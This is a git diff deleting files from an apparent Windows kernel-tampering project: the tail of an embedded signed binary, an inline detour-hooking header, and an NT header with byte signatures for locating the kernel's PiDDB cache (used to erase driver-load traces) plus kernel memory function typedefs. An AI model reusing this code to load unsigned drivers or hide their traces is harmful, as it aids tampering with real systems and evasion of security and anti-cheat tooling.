0xAA, 0x07, 0x08, 0xC9, 0xA3, 0x43, 0xAE, 0xD5, 0x27, 0x8F, - 0xD7, 0x35, 0x85, 0x6B, 0xE8, 0x69, 0xF4, 0xF1, 0x8D, 0x3D, 0x8F, 0x00, - 0x71, 0x52, 0x85, 0x84, 0x02, 0x0D, 0xA1, 0x82, 0x02, 0x0B, 0x30, 0x82, - 0x02, 0x07, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, - 0x06, 0x31, 0x82, 0x01, 0xF8, 0x30, 0x82, 0x01, 0xF4, 0x02, 0x01, 0x01, - 0x30, 0x72, 0x30, 0x5E, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, - 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, - 0x04, 0x0A, 0x13, 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, - 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, - 0x31, 0x30, 0x30, 0x2E, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x27, 0x53, - 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x54, 0x69, 0x6D, 0x65, - 0x20, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x65, - 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, 0x43, 0x41, 0x20, 0x2D, 0x20, - 0x47, 0x32, 0x02, 0x10, 0x0E, 0xCF, 0xF4, 0x38, 0xC8, 0xFE, 0xBF, 0x35, - 0x6E, 0x04, 0xD8, 0x6A, 0x98, 0x1B, 0x1A, 0x50, 0x30, 0x09, 0x06, 0x05, - 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0xA0, 0x5D, 0x30, 0x18, 0x06, - 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x03, 0x31, 0x0B, - 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x07, 0x01, 0x30, - 0x1C, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x05, - 0x31, 0x0F, 0x17, 0x0D, 0x31, 0x37, 0x31, 0x32, 0x30, 0x31, 0x30, 0x35, - 0x34, 0x30, 0x35, 0x34, 0x5A, 0x30, 0x23, 0x06, 0x09, 0x2A, 0x86, 0x48, - 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x04, 0x31, 0x16, 0x04, 0x14, 0x48, 0xE9, - 0xD3, 0xB8, 0xB2, 0x40, 0x23, 0x3E, 0x65, 0x95, 0x5D, 0xD2, 0x19, 0x40, - 0xAF, 0x08, 0x08, 0x5F, 0x02, 0xDF, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, - 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x04, 0x82, 0x01, - 0x00, 0x89, 0xF5, 0x8C, 0x74, 0xAD, 0xAF, 0x17, 0x5E, 0x03, 0xA0, 0x82, - 0x0D, 0xBC, 0x1D, 0xBC, 0x29, 0x15, 0x66, 0x7B, 0x43, 0x94, 0xEA, 0x86, - 0x4F, 0x8A, 0x29, 0x08, 0x4D, 0x78, 0x92, 0x2D, 0x4F, 0x49, 0x66, 0x6F, - 0x5E, 0x0C, 0x83, 0x5D, 0xB3, 0x25, 0xDF, 0xAB, 0x99, 0xC8, 0xEC, 0xBB, - 0x90, 0x07, 0x7C, 0xC5, 0xBD, 0x7A, 0x86, 0x6A, 0x84, 0x71, 0x65, 0xE9, - 0x63, 0xD7, 0x1E, 0x28, 0xBF, 0x3C, 0xB9, 0x1C, 0xE5, 0xFD, 0xC9, 0x92, - 0x03, 0xC9, 0x5C, 0x67, 0x35, 0x81, 0xA9, 0x24, 0x4E, 0xDA, 0xE9, 0x1E, - 0x8D, 0xF1, 0x2B, 0x53, 0xEF, 0x7A, 0xFE, 0x0D, 0xCC, 0xAE, 0x97, 0x7B, - 0x63, 0x44, 0x0F, 0x9C, 0x03, 0x0B, 0xC3, 0xC5, 0x26, 0x56, 0x3C, 0x15, - 0x26, 0x4F, 0x21, 0x5C, 0x57, 0x0F, 0xBB, 0x23, 0x06, 0x0E, 0x34, 0x14, - 0x1A, 0x2D, 0x06, 0xAA, 0xD2, 0xF2, 0xEC, 0x57, 0x61, 0x08, 0x74, 0xF4, - 0x36, 0x42, 0x06, 0x81, 0xD6, 0x79, 0x65, 0xB0, 0x6F, 0xF2, 0x4F, 0x6F, - 0x5A, 0xD0, 0xC3, 0x84, 0xC3, 0x66, 0x53, 0x92, 0xC0, 0x22, 0x23, 0xE1, - 0xD5, 0x1B, 0x02, 0x76, 0x8E, 0xEB, 0x5F, 0xC2, 0x44, 0x68, 0xF0, 0x36, - 0x2E, 0xFC, 0xE1, 0x13, 0xB8, 0x21, 0x44, 0xAD, 0x9F, 0x7A, 0xD2, 0x9F, - 0xA9, 0x5F, 0xB1, 0xCB, 0x4C, 0xD9, 0x08, 0x6E, 0x4B, 0x82, 0x1D, 0x6D, - 0x7C, 0xD2, 0x51, 0xD1, 0x74, 0x0B, 0x7A, 0xE5, 0x7A, 0x59, 0x93, 0xF9, - 0xCA, 0xB8, 0x85, 0xC4, 0x2C, 0x8A, 0x1D, 0x93, 0x48, 0x6C, 0xAE, 0x3E, - 0x01, 0x5B, 0x66, 0x7F, 0x67, 0xF8, 0x2F, 0x8A, 0xF2, 0x65, 0x2C, 0x88, - 0x3C, 0x7F, 0xAD, 0xB8, 0x8D, 0xBA, 0x88, 0x99, 0xFB, 0xE1, 0xDE, 0x48, - 0xA2, 0x66, 0x96, 0xF0, 0xA9, 0xF1, 0xF2, 0x12, 0x21, 0x16, 0xB6, 0xDA, - 0x8C, 0xD3, 0x5E, 0xD3, 0x5B, 0x00, 0x00, 0x00 -}; \ No newline at end of file diff --git a/nasa-patch/util/hook.hpp b/nasa-patch/util/hook.hpp deleted file mode 100644 index 1004d9f..0000000 --- a/nasa-patch/util/hook.hpp +++ /dev/null @@ -1,190 +0,0 @@ -/* - MIT License - - Copyright (c) 2020 xerox - - Permission is hereby granted, free of charge, to any person obtaining a copy - of this software and associated documentation files (the "Software"), to deal - in the Software without restriction, including without limitation the rights - to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - copies of the Software, and to permit persons to whom the Software is - furnished to do so, subject to the following conditions: - - The above copyright notice and this permission notice shall be included in all - copies or substantial portions of the Software. - - THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - SOFTWARE. -*/ - -#pragma once -#include -#include -#include -#include - -#if _M_IX86 - #define OFFSET_TO_ADDRESS 0x1 -#elif _M_X64 - #define OFFSET_TO_ADDRESS 0x2 -#endif - -namespace hook -{ - static void write_to_readonly(void* addr, void* data, int size) - { - DWORD old_flags; - VirtualProtect((LPVOID)addr, size, PAGE_EXECUTE_READWRITE, &old_flags); - memcpy((void*)addr, data, size); - VirtualProtect((LPVOID)addr, size, old_flags, &old_flags); - } - - class detour - { - public: - detour(void* addr_to_hook, void* jmp_to, bool enable = true) - : hook_addr(addr_to_hook), detour_addr(jmp_to), hook_installed(false) - { - //setup hook - memcpy( - jmp_code + OFFSET_TO_ADDRESS, - &jmp_to, - sizeof(jmp_to) - ); - - //save bytes - memcpy( - org_bytes, - hook_addr, - sizeof(org_bytes) - ); - if(enable) - install(); - } - - void install() - { - if (hook_installed.load()) - return; - - // mapped page is already read/write - memcpy(hook_addr, jmp_code, sizeof(jmp_code)); - hook_installed.exchange(true); - } - void uninstall() - { - if (!hook_installed.load()) - return; - - // mapped page is already read/write - memcpy(hook_addr, org_bytes, sizeof(org_bytes)); - hook_installed.exchange(false); - } - - ~detour() { uninstall(); } - bool installed() { return hook_installed; } - void* hook_address() { return hook_addr; } - void* detour_address() { return detour_addr; } - private: - std::atomic hook_installed; - void *hook_addr, *detour_addr; - -#if _M_IX86 - /* - 0: b8 ff ff ff ff mov eax, 0xffffffff - 5: ff e0 jmp eax - */ - unsigned char jmp_code[7] = { - 0xb8, 0x0, 0x0, 0x0, 0x0, - 0xFF, 0xE0 - }; -#elif _M_X64 - /* - 0: 48 b8 ff ff ff ff ff ff ff ff movabs rax,0xffffffffffffffff - 7: ff e0 jmp rax - */ - unsigned char jmp_code[12] = { - 0x48, 0xb8, - 0x0, - 0x0, - 0x0, - 0x0, - 0x0, - 0x0, - 0x0, - 0x0, - 0xff, 0xe0 - }; -#endif - std::uint8_t org_bytes[sizeof(jmp_code)]; - }; - - static std::map> hooks{}; - - /* - Author: xerox - Date: 12/19/2019 - - Create Hook without needing to deal with objects - */ - static void make_hook(void* addr_to_hook, void* jmp_to_addr, bool enable = true) - { - if (!addr_to_hook) - return; - - hooks.insert({ - addr_to_hook, - std::make_unique( - addr_to_hook, - jmp_to_addr, - enable - )} - ); - } - - /* - Author: xerox - Date: 12/19/2019 - - Enable hook given the address to hook - */ - static void enable(void* addr) - { - if (!addr) - return; - hooks.at(addr)->install(); - } - - /* - Author: xerox - Date: 12/19/2019 - - Disable hook givent the address of the hook - */ - static void disable(void* addr) - { - if (!addr) - return; - hooks.at(addr)->uninstall(); - } - - - /* - Author: xerox - Date: 12/19/2019 - - Remove hook completely from vector - */ - static void remove(void* addr) - { - if (!addr) - return; - hooks.at(addr)->~detour(); - hooks.erase(addr); - } -} \ No newline at end of file diff --git a/nasa-patch/util/nt.hpp b/nasa-patch/util/nt.hpp deleted file mode 100644 index a56b01e..0000000 --- a/nasa-patch/util/nt.hpp +++ /dev/null @@ -1,343 +0,0 @@ -#pragma once -#include -#include -#pragma comment(lib, "ntdll.lib") - -#if _DEBUG -#define DBG_ASSERT(...) assert(__VA_ARGS__) -#define DBG_PRINT(...) printf(__VA_ARGS__) -#else -#define DBG_ASSERT(...) assert(__VA_ARGS__) -#define DBG_PRINT(...) printf(__VA_ARGS__) -#endif - -inline const char piddb_lock_sig[] = "\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x4C\x8B\x8C\x24"; -inline const char piddb_lock_mask[] = "xxx????x????xxxx"; - -inline const char piddb_table_sig[] = "\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x48\x8D\x1D\x00\x00\x00\x00\x48\x85\xC0\x0F"; -inline const char piddb_table_mask[] = "xxx????x????xxx????xxxx"; - -#define MM_COPY_MEMORY_PHYSICAL 0x1 -#define MM_COPY_MEMORY_VIRTUAL 0x2 - -constexpr auto PAGE_SIZE = 0x1000; -constexpr auto STATUS_INFO_LENGTH_MISMATCH = 0xC0000004; - -constexpr auto SystemModuleInformation = 11; -constexpr auto SystemHandleInformation = 16; -constexpr auto SystemExtendedHandleInformation = 64; - -typedef struct PiDDBCacheEntry -{ - LIST_ENTRY list; - UNICODE_STRING driver_name; - ULONG time_stamp; - NTSTATUS load_status; - char _0x0028[16]; // data from the shim engine, or uninitialized memory for custom drivers -}PIDCacheobj; - -typedef struct _SYSTEM_HANDLE -{ - PVOID Object; - HANDLE UniqueProcessId; - HANDLE HandleValue; - ULONG GrantedAccess; - USHORT CreatorBackTraceIndex; - USHORT ObjectTypeIndex; - ULONG HandleAttributes; - ULONG Reserved; -} SYSTEM_HANDLE, * PSYSTEM_HANDLE; - -typedef struct _SYSTEM_HANDLE_INFORMATION_EX -{ - ULONG_PTR HandleCount; - ULONG_PTR Reserved; - SYSTEM_HANDLE Handles[1]; -} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX; - -typedef struct _RTL_PROCESS_MODULE_INFORMATION -{ - HANDLE Section; - PVOID MappedBase; - PVOID ImageBase; - ULONG ImageSize; - ULONG Flags; - USHORT LoadOrderIndex; - USHORT InitOrderIndex; - USHORT LoadCount; - USHORT OffsetToFileName; - UCHAR FullPathName[256]; -} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; - -typedef struct _RTL_PROCESS_MODULES -{ - ULONG NumberOfModules; - RTL_PROCESS_MODULE_INFORMATION Modules[1]; -} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; - -typedef LARGE_INTEGER PHYSICAL_ADDRESS, * PPHYSICAL_ADDRESS; - -typedef struct _MM_COPY_ADDRESS { - union { - PVOID VirtualAddress; - PHYSICAL_ADDRESS PhysicalAddress; - }; -} MM_COPY_ADDRESS, * PMMCOPY_ADDRESS; - -typedef CCHAR KPROCESSOR_MODE; -typedef enum _MODE { - KernelMode, - UserMode, - MaximumMode -} MODE; - -typedef enum _POOL_TYPE { - NonPagedPool, - NonPagedPoolExecute, - PagedPool, - NonPagedPoolMustSucceed, - DontUseThisType, - NonPagedPoolCacheAligned, - PagedPoolCacheAligned, - NonPagedPoolCacheAlignedMustS, - MaxPoolType, - NonPagedPoolBase, - NonPagedPoolBaseMustSucceed, - NonPagedPoolBaseCacheAligned, - NonPagedPoolBaseCacheAlignedMustS, - NonPagedPoolSession, - PagedPoolSession, - NonPagedPoolMustSucceedSession, - DontUseThisTypeSession, - NonPagedPoolCacheAlignedSession, - PagedPoolCacheAlignedSession, - NonPagedPoolCacheAlignedMustSSession, - NonPagedPoolNx, - NonPagedPoolNxCacheAligned, - NonPagedPoolSessionNx -} POOL_TYPE; - -typedef enum _MEMORY_CACHING_TYPE { - MmNonCached, - MmCached, - MmWriteCombined, - MmHardwareCoherentCached, - MmNonCachedUnordered, - MmUSWCCached, - MmMaximumCacheType, - MmNotMapped -} MEMORY_CACHING_TYPE; - -typedef struct _KAPC_STATE { - LIST_ENTRY ApcListHead[MaximumMode]; - struct _KPROCESS* Process; - union { - UCHAR InProgressFlags; - struct { - BOOLEAN KernelApcInProgress : 1; - BOOLEAN SpecialApcInProgress : 1; - }; - }; - - BOOLEAN KernelApcPending; - union { - BOOLEAN UserApcPendingAll; - struct { - BOOLEAN SpecialUserApcPending : 1; - BOOLEAN UserApcPending : 1; - }; - }; -} KAPC_STATE, * PKAPC_STATE, * PRKAPC_STATE; - -using PEPROCESS = PVOID; - -using ZwOpenProcess = NTSYSAPI NTSTATUS (__fastcall*)( - PHANDLE ProcessHandle, - ACCESS_MASK DesiredAccess, - POBJECT_ATTRIBUTES ObjectAttributes, - CLIENT_ID* ClientId -); - -using ZwAllocateVirtualMemory = NTSTATUS(__fastcall*)( - _In_ HANDLE ProcessHandle, - _Inout_ PVOID* BaseAddress, - _In_ ULONG_PTR ZeroBits, - _Inout_ PSIZE_T RegionSize, - _In_ ULONG AllocationType, - _In_ ULONG Protect -); - -using MmCopyVirtualMemory = NTSTATUS (__fastcall*)( - IN PEPROCESS FromProcess, - IN PVOID FromAddress, - IN PEPROCESS ToProcess, - OUT PVOID ToAddress, - IN SIZE_T BufferSize, - IN KPROCESSOR_MODE PreviousMode, - OUT PSIZE_T NumberOfBytesCopied -); - -using PsLookupProcessByProcessId = NTSTATUS (__fastcall*)( - HANDLE ProcessId, - PEPROCESS* Process -); - -using MmCopyMemory = NTSTATUS(__stdcall*)( - PVOID, - MM_COPY_ADDRESS, - SIZE_T, - ULONG, - PSIZE_T -); - -using MmGetVirtualForPhysical = PVOID(__fastcall*)( - __in PHYSICAL_ADDRESS PhysicalAddress -); - -using MmGetPhysicalAddress = PVOID (__fastcall*)( - __in PVOID BaseAddress -); - -using ExAllocatePool = PVOID (__fastcall*) ( - POOL_TYPE PoolType, - SIZE_T NumberOfBytes -); - -using IoAllocateMdl = PVOID(__fastcall*)( - __drv_aliasesMem PVOID VirtualAddress, - ULONG Length, - BOOLEAN SecondaryBuffer, - BOOLEAN ChargeQuota, - PVOID Irp -); - -using MmBuildMdlForNonPagedPool = void (__fastcall*)( - PVOID MemoryDescriptorList -); - -using MmMapLockedPagesSpecifyCache = PVOID (__fastcall*)( - PVOID MemoryDescriptorList, - KPROCESSOR_MODE AccessMode, - MEMORY_CACHING_TYPE CacheType, - PVOID RequestedAddress, - ULONG BugCheckOnFailure, - ULONG Priority -); - -using ExFreePool = void* (__fastcall*)( - PVOID P -); - -using ExAllocatePool = PVOID(__stdcall*) (POOL_TYPE, SIZE_T); -using ExAllocatePoolWithTag = PVOID(__stdcall*)(POOL_TYPE, SIZE_T, ULONG); -using MmCopyMemory = NTSTATUS(__stdcall*)(PVOID, MM_COPY_ADDRESS, SIZE_T, ULONG, PSIZE_T); -using DRIVER_INITIALIZE = NTSTATUS(__stdcall*)(uintptr_t, size_t); -using ExAcquireResourceExclusiveLite = BOOLEAN(__stdcall*)(void*, bool); -using RtlLookupElementGenericTableAvl = PIDCacheobj * (__stdcall*) (void*, void*); -using RtlDeleteElementGenericTableAvl = bool(__stdcall*)(void*, void*); -using ExReleaseResourceLite = bool(__stdcall*)(void*); - -typedef union _virt_addr_t -{ - PVOID value; - struct - { - ULONG64 offset : 12; - ULONG64 pt_index : 9; - ULONG64 pd_index : 9; - ULONG64 pdpt_index : 9; - ULONG64 pml4_index : 9; - ULONG64 reserved : 16; - }; -} virt_addr_t, *pvirt_addr_t; -static_assert(sizeof(virt_addr_t) == sizeof(PVOID), "Size mismatch, only 64-bit supported."); - -typedef union _pml4e -{ - ULONG64 value; - struct - { - ULONG64 present : 1; // Must be 1, region invalid if 0. - ULONG64 ReadWrite : 1; // If 0, writes not allowed. - ULONG64 user_supervisor : 1; // If 0, user-mode accesses not allowed. - ULONG64 PageWriteThrough : 1; // Determines the memory type used to access PDPT. - ULONG64 page_cache : 1; // Determines the memory type used to access PDPT. - ULONG64 accessed : 1; // If 0, this entry has not been used for translation. - ULONG64 Ignored1 : 1; - ULONG64 page_size : 1; // Must be 0 for PML4E. - ULONG64 Ignored2 : 4; - ULONG64 pfn : 36; // The page frame number of the PDPT of this PML4E. - ULONG64 Reserved : 4; - ULONG64 Ignored3 : 11; - ULONG64 nx : 1; // If 1, instruction fetches not allowed. - }; -} pml4e, * ppml4e; -static_assert(sizeof(pml4e) == sizeof(PVOID), "Size mismatch, only 64-bit supported."); - -typedef union _pdpte -{ - ULONG64 value; - struct - { - ULONG64 present : 1; // Must be 1, region invalid if 0. - ULONG64 rw : 1; // If 0, writes not allowed. - ULONG64 user_supervisor : 1; // If 0, user-mode accesses not allowed. - ULONG64 PageWriteThrough : 1; // Determines the memory type used to access PD. - ULONG64 page_cache : 1; // Determines the memory type used to access PD. - ULONG64 accessed : 1; // If 0, this entry has not been used for translation. - ULONG64 Ignored1 : 1; - ULONG64 page_size : 1; // If 1, this entry maps a 1GB page. - ULONG64 Ignored2 : 4; - ULONG64 pfn : 36; // The page frame number of the PD of this PDPTE. - ULONG64 Reserved : 4; - ULONG64 Ignored3 : 11; - ULONG64 nx : 1; // If 1, instruction fetches not allowed. - }; -} pdpte, * ppdpte; -static_assert(sizeof(pdpte) == sizeof(PVOID), "Size mismatch, only 64-bit supported."); - -typedef union _pde -{ - ULONG64 value; - struct - { - ULONG64 present : 1; // Must be 1, region invalid if 0. - ULONG64 ReadWrite : 1; // If 0, writes not allowed. - ULONG64 user_supervisor : 1; // If 0, user-mode accesses not allowed. - ULONG64 PageWriteThrough : 1; // Determines the memory type used to access PT. - ULONG64 page_cache : 1; // Determines the memory type used to access PT. - ULONG64 Accessed : 1; // If 0, this entry has not been used for translation. - ULONG64 Ignored1 : 1; - ULONG64 page_size : 1; // If 1, this entry maps a 2MB page. - ULONG64 Ignored2 : 4; - ULONG64 pfn : 36; // The page frame number of the PT of this PDE. - ULONG64 Reserved : 4; - ULONG64 Ignored3 : 11; - ULONG64 nx : 1; // If 1, instruction fetches not allowed. - }; -} pde, * ppde; -static_assert(sizeof(pde) == sizeof(PVOID), "Size mismatch, only 64-bit supported."); - -typedef union _pte -{ - ULONG64 value; - struct - { - ULONG64 present : 1; // Must be 1, region invalid if 0. - ULONG64 ReadWrite : 1; // If 0, writes not allowed. - ULONG64 user_supervisor : 1; // If 0, user-mode accesses not allowed. - ULONG64 PageWriteThrough : 1; // Determines the memory type used to access the memory. - ULONG64 page_cache : 1; // Determines the memory type used to access the memory. - ULONG64 accessed : 1; // If 0, this entry has not been used for translation. - ULONG64 Dirty : 1; // If 0, the memory backing this page has not been written to. - ULONG64 PageAccessType : 1; // Determines the memory type used to access the memory. - ULONG64 Global : 1; // If 1 and the PGE bit of CR4 is set, translations are global. - ULONG64 Ignored2 : 3; - ULONG64 pfn : 36; // The page frame number of the backing physical page. - ULONG64 Reserved : 4; - ULONG64 Ignored3 : 7; - ULONG64 ProtectionKey : 4; // If the PKE bit of CR4 is set, determines the protection key. - ULONG64 nx : 1; // If 1, instruction fetches not allowed. - }; -} pte, * ppte; -static_assert(sizeof(pte) == sizeof(PVOID), "Size mismatch, only 64-bit supported."); \ No newline at end of file